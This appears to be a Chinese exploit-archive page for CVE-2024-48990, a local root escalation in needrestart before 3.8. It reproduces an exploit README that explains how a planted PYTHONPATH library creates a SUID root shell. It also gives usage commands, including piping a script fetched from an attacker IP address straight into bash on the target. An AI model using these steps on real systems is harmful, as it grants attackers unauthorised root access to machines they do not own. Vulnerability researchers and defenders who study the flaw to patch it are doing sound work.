关联漏洞
标题:needrestart 安全漏洞 (CVE-2024-48990)描述:needrestart是liske个人开发者的一款用于检查升级后需要重新启动哪些守护进程的工具。 needrestart 3.8之前版本存在安全漏洞,该漏洞源于允许本地攻击者通过诱骗needrestart使用攻击者控制的PYTHONPATH环境变量运行Python解释器,并以root身份执行任意代码。
描述
Full exploit for needsrestart setuid root shell
介绍
# CVE-2024-48990 Exploit
Local Privilege Escalation in needrestart < 3.8 via PYTHONPATH injection.
## How It Works
1. **needrestart runs as root** and scans all processes
2. Finds our Python process, reads `PYTHONPATH=/tmp/.m` from `/proc/[pid]/environ`
3. **Executes Python as root** with our malicious `PYTHONPATH`
4. Python's import loads `/tmp/.m/importlib/__init__.so` (our malicious library)
5. **Constructor in .so executes as root** before Python even starts
6. Creates SUID bash at `/tmp/rootbash`
7. Execute `/tmp/rootbash -p` for root shell
**Key Point:** needrestart trusts environment variables from unprivileged processes and uses them when executing interpreters as root.
## Usage
**Attacker:**
```bash
./compile.sh
python3 -m http.server 8000
```
**Target:**
```bash
curl -sf http://10.10.14.109:8000/setup_exploit.sh | bash -s 10.10.14.109 8000
cd /tmp/.m && PYTHONPATH=/tmp/.m python3 e.py
```
The e.py process should hang and spawn root once the following is ran from a 2nd terminal:
```bash
sudo needsrestard
```
the first terminal will start a root shell
## Credits
Qualys Threat Research Unit - CVE-2024-48990
文件快照
[4.0K] /data/pocs/056a489bb554094b746aff3dbe248df5da175ea1
├── [ 218] compile.sh
├── [ 244] exploit.c
├── [1.1K] README.md
├── [ 673] setup_exploit.sh
└── [1.1K] trigger.py
1 directory, 5 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。